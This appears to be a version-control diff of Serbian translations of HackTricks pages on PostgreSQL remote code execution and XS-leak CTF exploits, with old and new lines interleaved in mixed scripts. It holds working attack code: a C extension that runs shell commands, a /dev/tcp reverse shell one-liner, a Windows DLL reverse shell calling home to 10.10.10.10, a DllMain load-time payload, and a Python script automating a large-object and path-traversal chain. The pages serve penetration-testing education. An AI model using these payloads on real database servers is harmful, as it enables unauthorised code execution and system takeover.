Ova greška je objašnjena u [PostgreSQL dokumentaciji](https://www.postgresql.org/docs/current/static/xfunc-c.html):
|
||||
|
||||
> Kako bi se osiguralo da se dinamički učitana objektna datoteka ne učita u nekompatibilni server, PostgreSQL proverava da li datoteka sadrži "magični blok" sa odgovarajućim sadržajem. Ovo omogućava serveru da otkrije očigledne nekompatibilnosti, kao što je kod kompajliran za drugu glavnu verziju PostgreSQL-a. Magični blok je obavezan od PostgreSQL verzije 8.2. Da biste uključili magični blok, napišite ovo u jednoj (i samo jednoj) od izvornih datoteka modula, nakon što ste uključili zaglavlje fmgr.h:
|
||||
> Da bi se osiguralo da se dinamički učitani objekat ne učita u nekompatibilni server, PostgreSQL proverava da li datoteka sadrži "magični blok" sa odgovarajućim sadržajem. Ovo omogućava serveru da otkrije očigledne nekompatibilnosti, kao što je kod kompajliran za drugu glavnu verziju PostgreSQL-a. Magični blok je obavezan od PostgreSQL 8.2. Da biste uključili magični blok, napišite ovo u jednoj (i samo jednoj) od izvornih datoteka modula, nakon što ste uključili zaglavlje fmgr.h:
|
||||
>
|
||||
> `#ifdef PG_MODULE_MAGIC`\
|
||||
> `PG_MODULE_MAGIC;`\
|
||||
> `#endif`
|
||||
|
||||
Od verzije PostgreSQL-a 8.2, proces za napadača da iskoristi sistem je postao izazovniji. Napadač mora ili koristiti biblioteku koja već postoji na sistemu ili otpremiti prilagođenu biblioteku. Ova prilagođena biblioteka mora biti kompajlirana protiv kompatibilne glavne verzije PostgreSQL-a i mora uključivati određeni "magični blok". Ova mera značajno povećava težinu iskorišćavanja PostgreSQL sistema, jer zahteva dublje razumevanje arhitekture sistema i kompatibilnosti verzija.
|
||||
Od verzije PostgreSQL 8.2, proces za napadača da iskoristi sistem je postao izazovniji. Napadač je obavezan da ili koristi biblioteku koja je već prisutna na sistemu ili da otpremi prilagođenu biblioteku. Ova prilagođena biblioteka mora biti kompajlirana protiv kompatibilne glavne verzije PostgreSQL-a i mora uključivati specifičan "magični blok". Ova mera značajno povećava težinu iskorišćavanja PostgreSQL sistema, jer zahteva dublje razumevanje arhitekture sistema i kompatibilnosti verzija.
|
||||
|
||||
#### Kompajlirajte biblioteku
|
||||
|
||||
|
@ -100,14 +103,13 @@ Dobijte verziju PostgreSQL-a sa:
|
|||
SELECT version();
|
||||
PostgreSQL 9.6.3 on x86_64-pc-linux-gnu, compiled by gcc (Debian 6.3.0-18) 6.3.0 20170516, 64-bit
|
||||
```
|
||||
Za kompatibilnost, bitno je da se glavne verzije poklapaju. Stoga, kompajliranje biblioteke sa bilo kojom verzijom unutar serije 9.6.x trebalo bi da obezbedi uspešnu integraciju.
|
||||
Za kompatibilnost, od suštinskog je značaja da se glavne verzije usklade. Stoga, kompajliranje biblioteke sa bilo kojom verzijom unutar 9.6.x serije treba da obezbedi uspešnu integraciju.
|
||||
|
||||
|
||||
Za instalaciju te verzije na vašem sistemu:
|
||||
Da instalirate tu verziju na vašem sistemu:
|
||||
```bash
|
||||
apt install postgresql postgresql-server-dev-9.6
|
||||
```
|
||||
I kompajlirajte biblioteku:
|
||||
И компајлирајте библиотеку:
|
||||
```c
|
||||
//gcc -I$(pg_config --includedir-server) -shared -fPIC -o pg_exec.so pg_exec.c
|
||||
#include <string.h>
|
||||
|
@ -124,19 +126,19 @@ char* command = PG_GETARG_CSTRING(0);
|
|||
PG_RETURN_INT32(system(command));
|
||||
}
|
||||
```
|
||||
Zatim otpremite kompajliranu biblioteku i izvršite komande pomoću:
|
||||
Zatim otpremite kompajliranu biblioteku i izvršite komande sa:
|
||||
```bash
|
||||
CREATE FUNCTION sys(cstring) RETURNS int AS '/tmp/pg_exec.so', 'pg_exec' LANGUAGE C STRICT;
|
||||
SELECT sys('bash -c "bash -i >& /dev/tcp/127.0.0.1/4444 0>&1"');
|
||||
#Notice the double single quotes are needed to scape the qoutes
|
||||
```
|
||||
Možete pronaći ovu **biblioteku prekompajliranu** za nekoliko različitih verzija PostgreSQL-a, čak možete **automatizovati ovaj proces** (ako imate pristup PostgreSQL-u) sa:
|
||||
Možete pronaći ovu **biblioteku unapred kompajliranu** za nekoliko različitih verzija PostgreSQL-a i čak možete **automatizovati ovaj proces** (ako imate pristup PostgreSQL-u) sa:
|
||||
|
||||
{% embed url="https://github.com/Dionach/pgexec" %}
|
||||
|
||||
### RCE u Windows-u
|
||||
|
||||
Sledeća DLL datoteka uzima kao ulaz **ime binarne** datoteke i **broj** **puta** koje želite da je izvršite i izvršava je:
|
||||
Sledeća DLL uzima kao ulaz **ime binarnog fajla** i **broj** **puta** koliko želite da ga izvršite i izvršava ga:
|
||||
```c
|
||||
#include "postgres.h"
|
||||
#include <string.h>
|
||||
|
@ -173,17 +175,17 @@ ShellExecute(NULL, "open", GET_STR(PG_GETARG_TEXT_P(0)), NULL, NULL, 1);
|
|||
PG_RETURN_VOID();
|
||||
}
|
||||
```
|
||||
Možete pronaći DLL kompajliran u ovom zip fajlu:
|
||||
Možete pronaći DLL kompajliran u ovom zip-u:
|
||||
|
||||
{% file src="../../../.gitbook/assets/pgsql_exec.zip" %}
|
||||
|
||||
Možete naznačiti ovom DLL-u **koji binarni fajl da izvrši** i broj puta da ga izvrši, u ovom primeru će izvršiti `calc.exe` 2 puta:
|
||||
Možete naznačiti ovom DLL-u **koji binarni fajl da izvrši** i broj puta koliko treba da ga izvrši, u ovom primeru će izvršiti `calc.exe` 2 puta:
|
||||
```bash
|
||||
CREATE OR REPLACE FUNCTION remote_exec(text, integer) RETURNS void AS '\\10.10.10.10\shared\pgsql_exec.dll', 'pgsql_exec' LANGUAGE C STRICT;
|
||||
SELECT remote_exec('calc.exe', 2);
|
||||
DROP FUNCTION remote_exec(text, integer);
|
||||
```
|
||||
U [**ovde**](https://zerosum0x0.blogspot.com/2016/06/windows-dll-to-shell-postgres-servers.html) možete pronaći ovaj reverzni shell:
|
||||
U [**ovde** ](https://zerosum0x0.blogspot.com/2016/06/windows-dll-to-shell-postgres-servers.html)možete pronaći ovu reverznu ljusku:
|
||||
```c
|
||||
#define PG_REVSHELL_CALLHOME_SERVER "10.10.10.10"
|
||||
#define PG_REVSHELL_CALLHOME_PORT "4444"
|
||||
|
@ -261,36 +263,38 @@ int32 arg = PG_GETARG_INT32(0);
|
|||
PG_RETURN_INT32(arg + 1);
|
||||
}
|
||||
```
|
||||
Zabeležite kako je u ovom slučaju **zlonamerni kod unutar funkcije DllMain**. To znači da u ovom slučaju nije potrebno izvršiti učitanu funkciju u postgresql-u, samo **učitavanje DLL-a** će **izvršiti** obrnutu ljusku:
|
||||
Napomena kako je u ovom slučaju **maliciozni kod unutar DllMain funkcije**. To znači da u ovom slučaju nije potrebno izvršiti učitanu funkciju u postgresql, samo **učitavanje DLL-a** će **izvršiti** reverznu ljusku:
|
||||
```c
|
||||
CREATE OR REPLACE FUNCTION dummy_function(int) RETURNS int AS '\\10.10.10.10\shared\dummy_function.dll', 'dummy_function' LANGUAGE C STRICT;
|
||||
```
|
||||
### RCE u najnovijim verzijama Prostgresa
|
||||
The [PolyUDF project](https://github.com/rop-la/PolyUDF) je takođe dobar početak sa punim MS Visual Studio projektom i spremnom bibliotekom (uključujući: _command eval_, _exec_ i _cleanup_) sa podrškom za više verzija.
|
||||
|
||||
U **najnovijim verzijama** PostgreSQL-a, nametnuta su ograničenja gde je `superuser` **zabranjen** da **učitava** deljene biblioteke osim iz određenih direktorijuma, poput `C:\Program Files\PostgreSQL\11\lib` na Windows-u ili `/var/lib/postgresql/11/lib` na \*nix sistemima. Ovi direktorijumi su **zaštićeni** od operacija pisanja od strane NETWORK\_SERVICE ili postgres naloga.
|
||||
### RCE u najnovijim Prostgres verzijama
|
||||
|
||||
Uprkos ovim ograničenjima, moguće je da autentifikovani baza podataka `superuser` **piše binarne fajlove** na fajl sistem koristeći "large objects." Ova mogućnost se proteže na pisanje unutar direktorijuma `C:\Program Files\PostgreSQL\11\data`, što je ključno za operacije baze podataka poput ažuriranja ili kreiranja tabela.
|
||||
U **najnovijim verzijama** PostgreSQL-a, uvedena su ograničenja gde je `superuser` **zabranjen** da **učitava** deljene biblioteke osim iz specifičnih direktorijuma, kao što su `C:\Program Files\PostgreSQL\11\lib` na Windows-u ili `/var/lib/postgresql/11/lib` na \*nix sistemima. Ovi direktorijumi su **zaštićeni** od operacija pisanja od strane ili NETWORK\_SERVICE ili postgres naloga.
|
||||
|
||||
Značajna ranjivost proizilazi iz `CREATE FUNCTION` komande, koja **dozvoljava pretragu direktorijuma** u data direktorijumu. Stoga, autentifikovani napadač može **iskoristiti ovu pretragu** da napiše deljenu biblioteku u data direktorijum, a zatim je **učita**. Ova eksploatacija omogućava napadaču da izvrši proizvoljan kod, postižući izvršenje nativnog koda na sistemu.
|
||||
Uprkos ovim ograničenjima, moguće je da autentifikovani `superuser` baze podataka **piše binarne datoteke** na datotečni sistem koristeći "velike objekte." Ova sposobnost se proteže na pisanje unutar direktorijuma `C:\Program Files\PostgreSQL\11\data`, što je od suštinskog značaja za operacije baze podataka kao što su ažuriranje ili kreiranje tabela.
|
||||
|
||||
Značajna ranjivost proizašla je iz komande `CREATE FUNCTION`, koja **dozvoljava prolaz kroz direktorijum** u direktorijum podataka. Kao rezultat, autentifikovani napadač bi mogao **iskoristiti ovaj prolaz** da napiše deljenu biblioteku u direktorijum podataka i zatim je **učita**. Ova eksploatacija omogućava napadaču da izvrši proizvoljan kod, postignuvši izvršenje nativnog koda na sistemu.
|
||||
|
||||
#### Tok napada
|
||||
|
||||
Prvo morate **koristiti velike objekte za otpremanje dll fajla**. Možete videti kako to uraditi ovde:
|
||||
Prvo što treba da uradite je da **koristite velike objekte za upload dll-a**. Možete videti kako to uraditi ovde:
|
||||
|
||||
{% content-ref url="big-binary-files-upload-postgresql.md" %}
|
||||
[big-binary-files-upload-postgresql.md](big-binary-files-upload-postgresql.md)
|
||||
{% endcontent-ref %}
|
||||
|
||||
Kada otpremite ekstenziju (sa imenom poc.dll za ovaj primer) u data direktorijum, možete je učitati sa:
|
||||
Kada ste učitali ekstenziju (sa imenom poc.dll za ovaj primer) u direktorijum podataka, možete je učitati sa:
|
||||
```c
|
||||
create function connect_back(text, integer) returns void as '../data/poc', 'connect_back' language C strict;
|
||||
select connect_back('192.168.100.54', 1234);
|
||||
```
|
||||
_Napomena da nije potrebno dodati ekstenziju `.dll` jer će funkcija za kreiranje dodati._
|
||||
_Napomena da ne morate dodavati ekstenziju `.dll` jer će funkcija za kreiranje to dodati._
|
||||
|
||||
Za više informacija **pročitajte** [**originalnu publikaciju ovde**](https://srcincite.io/blog/2020/06/26/sql-injection-double-uppercut-how-to-achieve-remote-code-execution-against-postgresql.html)**.**\
|
||||
U toj publikaciji **ovo je bio** [**kôd koji se koristi za generisanje postgres ekstenzije**](https://github.com/sourceincite/tools/blob/master/pgpwn.c) (_za naučiti kako kompajlirati postgres ekstenziju pročitajte bilo koju od prethodnih verzija_).\
|
||||
Na istoj stranici dat je ovaj **eksploit za automatizaciju** ove tehnike:
|
||||
Za više informacija **pročitajte**[ **originalnu publikaciju ovde**](https://srcincite.io/blog/2020/06/26/sql-injection-double-uppercut-how-to-achieve-remote-code-execution-against-postgresql.html)**.**\
|
||||
U toj publikaciji **ovaj je bio** [**kod koji se koristi za generisanje postgres ekstenzije**](https://github.com/sourceincite/tools/blob/master/pgpwn.c) (_da biste naučili kako da kompajlirate postgres ekstenziju, pročitajte neku od prethodnih verzija_).\
|
||||
Na istoj stranici je dat **ovaj exploit za automatizaciju** ove tehnike:
|
||||
```python
|
||||
#!/usr/bin/env python3
|
||||
import sys
|
||||
|
@ -333,14 +337,17 @@ print(" drop function connect_back(text, integer);")
|
|||
* [https://www.dionach.com/blog/postgresql-9-x-remote-command-execution/](https://www.dionach.com/blog/postgresql-9-x-remote-command-execution/)
|
||||
* [https://www.exploit-db.com/papers/13084](https://www.exploit-db.com/papers/13084)
|
||||
|
||||
{% hint style="success" %}
|
||||
Učite i vežbajte AWS Hacking:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
|
||||
Učite i vežbajte GCP Hacking: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
|
||||
|
||||
<details>
|
||||
|
||||
<summary><strong>Naučite hakovanje AWS-a od nule do heroja sa</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
|
||||
<summary>Podržite HackTricks</summary>
|
||||
|
||||
* Da li radite u **kompaniji za kibernetičku bezbednost**? Želite li da vidite svoju **kompaniju reklamiranu na HackTricks**? ili želite pristup **najnovijoj verziji PEASS-a ili preuzimanje HackTricks-a u PDF-u**? Proverite [**PLANOVE ZA PRETPLATU**](https://github.com/sponsors/carlospolop)!
|
||||
* Otkrijte [**Porodicu PEASS**](https://opensea.io/collection/the-peass-family), našu kolekciju ekskluzivnih [**NFT-ova**](https://opensea.io/collection/the-peass-family)
|
||||
* Nabavite [**zvanični PEASS & HackTricks swag**](https://peass.creator-spring.com)
|
||||
* **Pridružite se** [**💬**](https://emojipedia.org/speech-balloon/) [**Discord grupi**](https://discord.gg/hRep4RUj7f) ili **telegram grupi** ili me **pratite** na **Twitteru** 🐦[**@carlospolopm**](https://twitter.com/hacktricks_live)**.**
|
||||
* **Podelite svoje hakovanje trikova slanjem PR-ova u [hacktricks repozitorijum](https://github.com/carlospolop/hacktricks) i [hacktricks-cloud repozitorijum](https://github.com/carlospolop/hacktricks-cloud)**.
|
||||
* Proverite [**planove pretplate**](https://github.com/sponsors/carlospolop)!
|
||||
* **Pridružite se** 💬 [**Discord grupi**](https://discord.gg/hRep4RUj7f) ili [**telegram grupi**](https://t.me/peass) ili **pratite** nas na **Twitteru** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
|
||||
* **Podelite hakerske trikove slanjem PR-ova na** [**HackTricks**](https://github.com/carlospolop/hacktricks) i [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repozitorijume.
|
||||
|
||||
</details>
|
||||
{% endhint %}
|
||||
|
|
|
@ -1,32 +1,35 @@
|
|||
# Пример пула веза по одредiшту
|
||||
# Connection Pool by Destination Example
|
||||
|
||||
{% hint style="success" %}
|
||||
Learn & practice AWS Hacking:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
|
||||
Learn & practice GCP Hacking: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
|
||||
|
||||
<details>
|
||||
|
||||
<summary><strong>Научите хаковање AWS-а од нуле до хероја са</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
|
||||
<summary>Support HackTricks</summary>
|
||||
|
||||
* Да ли радите у **компанији за кибер-безбедност**? Желите ли да видите **вашу компанију рекламирану на HackTricks**? Или желите да имате приступ **најновијој верзији PEASS или да преузмете HackTricks у PDF-у**? Проверите [**ПЛАНОВЕ ПРЕТПЛАТЕ**](https://github.com/sponsors/carlospolop)!
|
||||
* Откријте [**The PEASS Family**](https://opensea.io/collection/the-peass-family), нашу колекцију ексклузивних [**NFT-ова**](https://opensea.io/collection/the-peass-family)
|
||||
* Набавите [**званични PEASS & HackTricks сувенир**](https://peass.creator-spring.com)
|
||||
* **Придружите се** [**💬**](https://emojipedia.org/speech-balloon/) [**Discord групи**](https://discord.gg/hRep4RUj7f) или [**телеграм групи**](https://t.me/peass) или **пратите** ме на **Твитеру** 🐦[**@carlospolopm**](https://twitter.com/hacktricks_live)**.**
|
||||
* **Поделите своје хакерске трикове слањем PR-ова на [hacktricks репо](https://github.com/carlospolop/hacktricks) и [hacktricks-cloud репо](https://github.com/carlospolop/hacktricks-cloud)**.
|
||||
* Check the [**subscription plans**](https://github.com/sponsors/carlospolop)!
|
||||
* **Join the** 💬 [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** us on **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
|
||||
* **Share hacking tricks by submitting PRs to the** [**HackTricks**](https://github.com/carlospolop/hacktricks) and [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
|
||||
|
||||
</details>
|
||||
{% endhint %}
|
||||
|
||||
У [**овом експлоиту**](https://gist.github.com/terjanq/0bc49a8ef52b0e896fca1ceb6ca6b00e#file-safelist-html), [**@terjanq**](https://twitter.com/terjanq) предлаже још једно решење за изазове поменуте на следећој страници:
|
||||
U [**ovoj eksploataciji**](https://gist.github.com/terjanq/0bc49a8ef52b0e896fca1ceb6ca6b00e#file-safelist-html), [**@terjanq**](https://twitter.com/terjanq) predlaže još jedno rešenje za izazov pomenut na sledećoj stranici:
|
||||
|
||||
{% content-ref url="connection-pool-by-destination-example.md" %}
|
||||
[connection-pool-by-destination-example.md](connection-pool-by-destination-example.md)
|
||||
{% endcontent-ref %}
|
||||
|
||||
Хајде да видимо како овај експлоит ради:
|
||||
Hajde da vidimo kako ova eksploatacija funkcioniše:
|
||||
|
||||
* Нападач ће убацити белешку са што више **`<img`** тагова који учитавају **`/js/purify.js`** (више од 6 да блокира извор).
|
||||
* Затим, нападач ће **уклонити** белешку са индексом 1.
|
||||
* Затим, нападач ће \[натерати **бота да приступи страници** са преосталим белешкама\] и пошаље **захтев** на **`victim.com/js/purify.js`** који ће **мерити време**. 
|
||||
* Ако је време **веће**, инјекција је била у **остављеној белешци**, ако је време **ниже**, застава је била тамо.
|
||||
* Napadač će ubaciti belešku sa što više **`<img`** tagova **koji učitavaju** **`/js/purify.js`** (više od 6 da blokira izvor).
|
||||
* Zatim, napadač će **ukloniti** **belešku** sa indeksom 1.
|
||||
* Zatim, napadač će \[naterati **bota da pristupi stranici** sa preostalom beleškom] i poslaće **zahtev** na **`victim.com/js/purify.js`** koji će **meriti**. 
|
||||
* Ako je vreme **veće**, **injekcija** je bila u **belešci** koja je ostala, ako je vreme **manje**, **zastavica** je bila tamo.
|
||||
|
||||
{% hint style="info" %}
|
||||
Искрено, читајући скрипту, пропустио сам део где **нападач натера бота да учита страницу да покрене img тагове**, не видим ништа слично у коду.
|
||||
Iskreno, čitajući skriptu, propustio sam deo gde **napadač natera bota da učita stranicu kako bi aktivirao img tagove**, ne vidim ništa slično u kodu.
|
||||
{% endhint %}
|
||||
```html
|
||||
<html>
|
||||
|
@ -120,14 +123,17 @@ break;
|
|||
</html>
|
||||
|
||||
```
|
||||
{% hint style="success" %}
|
||||
Učite i vežbajte AWS Hacking:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
|
||||
Učite i vežbajte GCP Hacking: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
|
||||
|
||||
<details>
|
||||
|
||||
<summary><strong>Naučite hakovanje AWS-a od nule do heroja sa</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
|
||||
<summary>Podržite HackTricks</summary>
|
||||
|
||||
* Da li radite u **cybersecurity kompaniji**? Želite li da vidite svoju **kompaniju reklamiranu na HackTricks-u**? Ili želite da imate pristup **najnovijoj verziji PEASS-a ili preuzmete HackTricks u PDF formatu**? Proverite [**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)!
|
||||
* Otkrijte [**The PEASS Family**](https://opensea.io/collection/the-peass-family), našu kolekciju ekskluzivnih [**NFT-ova**](https://opensea.io/collection/the-peass-family)
|
||||
* Nabavite [**zvanični PEASS & HackTricks swag**](https://peass.creator-spring.com)
|
||||
* **Pridružite se** [**💬**](https://emojipedia.org/speech-balloon/) [**Discord grupi**](https://discord.gg/hRep4RUj7f) ili [**telegram grupi**](https://t.me/peass) ili me **pratite** na **Twitter-u** 🐦[**@carlospolopm**](https://twitter.com/hacktricks_live)**.**
|
||||
* **Podelite svoje hakovanje trikove slanjem PR-ova na [hacktricks repo](https://github.com/carlospolop/hacktricks) i [hacktricks-cloud repo](https://github.com/carlospolop/hacktricks-cloud)**.
|
||||
* Proverite [**planove pretplate**](https://github.com/sponsors/carlospolop)!
|
||||
* **Pridružite se** 💬 [**Discord grupi**](https://discord.gg/hRep4RUj7f) ili [**telegram grupi**](https://t.me/peass) ili **pratite** nas na **Twitteru** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
|
||||
* **Podelite hakerske trikove slanjem PR-ova na** [**HackTricks**](https://github.com/carlospolop/hacktricks) i [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repozitorijume.
|
||||
|
||||
</details>
|
||||
{% endhint %}
|
||||
|
|
|
@ -1,33 +1,36 @@
|
|||
# Blokiranje petlje događaja + Lenje slike
|
||||
# Event Loop Blocking + Lazy images
|
||||
|
||||
{% hint style="success" %}
|
||||
Learn & practice AWS Hacking:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
|
||||
Learn & practice GCP Hacking: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
|
||||
|
||||
<details>
|
||||
|
||||
<summary><strong>Naučite hakovanje AWS-a od nule do heroja sa</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
|
||||
<summary>Support HackTricks</summary>
|
||||
|
||||
* Radite li u **kompaniji za kibernetičku bezbednost**? Želite li da vidite **vašu kompaniju reklamiranu na HackTricks-u**? Ili želite da imate pristup **najnovijoj verziji PEASS-a ili preuzmete HackTricks u PDF formatu**? Proverite [**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)!
|
||||
* Otkrijte [**The PEASS Family**](https://opensea.io/collection/the-peass-family), našu kolekciju ekskluzivnih [**NFT-ova**](https://opensea.io/collection/the-peass-family)
|
||||
* Nabavite [**zvanični PEASS & HackTricks swag**](https://peass.creator-spring.com)
|
||||
* **Pridružite se** [**💬**](https://emojipedia.org/speech-balloon/) [**Discord grupi**](https://discord.gg/hRep4RUj7f) ili [**telegram grupi**](https://t.me/peass) ili me **pratite** na **Twitter-u** 🐦[**@carlospolopm**](https://twitter.com/hacktricks_live)**.**
|
||||
* **Podelite svoje hakovanje trikove slanjem PR-ova na [hacktricks repo](https://github.com/carlospolop/hacktricks) i [hacktricks-cloud repo](https://github.com/carlospolop/hacktricks-cloud)**.
|
||||
* Check the [**subscription plans**](https://github.com/sponsors/carlospolop)!
|
||||
* **Join the** 💬 [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** us on **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
|
||||
* **Share hacking tricks by submitting PRs to the** [**HackTricks**](https://github.com/carlospolop/hacktricks) and [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
|
||||
|
||||
</details>
|
||||
{% endhint %}
|
||||
|
||||
U [**ovom eksploit-u**](https://gist.github.com/aszx87410/155f8110e667bae3d10a36862870ba45), [**@aszx87410**](https://twitter.com/aszx87410) kombinuje tehniku **lenjih slika kao kanal za komunikaciju** putem HTML ubacivanja sa vrstom **tehnike blokiranja petlje događaja** kako bi otkrio karaktere.
|
||||
U [**ovoj eksploataciji**](https://gist.github.com/aszx87410/155f8110e667bae3d10a36862870ba45), [**@aszx87410**](https://twitter.com/aszx87410) kombinuje tehniku **lazy image side channel** kroz HTML injekciju sa vrstom **event loop blocking technique** da bi otkrio karaktere.
|
||||
|
||||
Ovo je **različit eksploit za CTF izazov** koji je već komentarisao na sledećoj stranici. Pogledajte za više informacija o izazovu:
|
||||
Ovo je **drugačija eksploatacija za CTF izazov** koja je već komentarisana na sledećoj stranici. Pogledajte za više informacija o izazovu:
|
||||
|
||||
{% content-ref url="connection-pool-example.md" %}
|
||||
[connection-pool-example.md](connection-pool-example.md)
|
||||
{% endcontent-ref %}
|
||||
|
||||
Ideja iza ovog eksploita je:
|
||||
Ideja iza ove eksploatacije je:
|
||||
|
||||
* Postovi se učitavaju abecednim redom
|
||||
* **Napadač** može **ubaciti** post koji počinje sa **"A"**, zatim neki **HTML tag** (poput velikog **`<canvas`**) će zauzeti veći deo **ekrana** i nekoliko krajnjih **`<img lazy` tagova** za učitavanje stvari.
|
||||
* Ako umesto "A" **napadač ubaci isti post koji počinje sa "z"**, **post** sa **flag-om** će se **prvo pojaviti**, a zatim će se **ubaceni post** pojaviti sa početnim "z" i **velikim canvas-om**. Zato što je post sa flag-om prvo se pojavio, prvi canvas će zauzeti ceo ekran i krajnji **`<img lazy`** tagovi ubačeni **neće biti vidljivi** na ekranu, tako da se **neće učitati**.
|
||||
* Zatim, **dok** bot **pristupa** stranici, **napadač će slati fetch zahteve**. 
|
||||
* Ako se **slike** ubačene u post **učitavaju**, ovi **fetch** zahtevi će trajati **duže**, tako da napadač zna da je **post pre flag-a** (abecedno).
|
||||
* Ako su **fetch** zahtevi **brzi**, to znači da je **post** **abecedno posle** flag-a.
|
||||
* Postovi se učitavaju abecedno
|
||||
* **Napadač** može **injektovati** **post** koji počinje sa **"A"**, zatim neki **HTML tag** (kao veliki **`<canvas`**) će ispuniti većinu **ekrana** i neki završni **`<img lazy` tagovi** da učita stvari.
|
||||
* Ako umesto "A" **napadač injektuje isti post ali počinje sa "z".** **Post** sa **flagom** će se pojaviti **prvi**, zatim će se **injektovani** **post** pojaviti sa početnim "z" i **velikim** **canvasom**. Pošto se post sa flagom pojavio prvi, prvi canvas će zauzeti ceo ekran i završni **`<img lazy`** tagovi injektovani **neće biti vidljivi** na ekranu, tako da **neće biti učitani**.
|
||||
* Zatim, **dok** bot **pristupa** stranici, **napadač** će **slati fetch zahteve**. 
|
||||
* Ako se **slike** injektovane u post učitavaju, ovi **fetch** zahtevi će trajati **duže**, tako da napadač zna da je **post pre flag** (abecedno).
|
||||
* Ako su **fetch** zahtevi **brzi**, to znači da je **post** **abecedno** **posle** flaga.
|
||||
|
||||
Hajde da proverimo kod:
|
||||
```html
|
||||
|
@ -150,14 +153,17 @@ resolve(isFound)
|
|||
</body>
|
||||
</html>
|
||||
```
|
||||
{% hint style="success" %}
|
||||
Učite i vežbajte AWS Hacking:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
|
||||
Učite i vežbajte GCP Hacking: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
|
||||
|
||||
<details>
|
||||
|
||||
<summary><strong>Naučite hakovanje AWS-a od nule do heroja sa</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
|
||||
<summary>Podržite HackTricks</summary>
|
||||
|
||||
* Da li radite u **cybersecurity kompaniji**? Želite li da vidite svoju **kompaniju reklamiranu na HackTricks-u**? Ili želite da imate pristup **najnovijoj verziji PEASS-a ili preuzmete HackTricks u PDF formatu**? Proverite [**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)!
|
||||
* Otkrijte [**The PEASS Family**](https://opensea.io/collection/the-peass-family), našu kolekciju ekskluzivnih [**NFT-ova**](https://opensea.io/collection/the-peass-family)
|
||||
* Nabavite [**zvanični PEASS & HackTricks swag**](https://peass.creator-spring.com)
|
||||
* **Pridružite se** [**💬**](https://emojipedia.org/speech-balloon/) [**Discord grupi**](https://discord.gg/hRep4RUj7f) ili [**telegram grupi**](https://t.me/peass) ili me **pratite** na **Twitter-u** 🐦[**@carlospolopm**](https://twitter.com/hacktricks_live)**.**
|
||||
* **Podelite svoje hakovanje trikove slanjem PR-ova na [hacktricks repo](https://github.com/carlospolop/hacktricks) i [hacktricks-cloud repo](https://github.com/carlospolop/hacktricks-cloud)**.
|
||||
* Proverite [**planove pretplate**](https://github.com/sponsors/carlospolop)!
|
||||
* **Pridružite se** 💬 [**Discord grupi**](https://discord.gg/hRep4RUj7f) ili [**telegram grupi**](https://t.me/peass) ili **pratite** nas na **Twitteru** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
|
||||
* **Podelite hakerske trikove slanjem PR-ova na** [**HackTricks**](https://github.com/carlospolop/hacktricks) i [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repozitorijume.
|
||||
|
||||
</details>
|
||||
{% endhint %}
|
||||
|
|
|
@ -1,30 +1,33 @@
|
|||
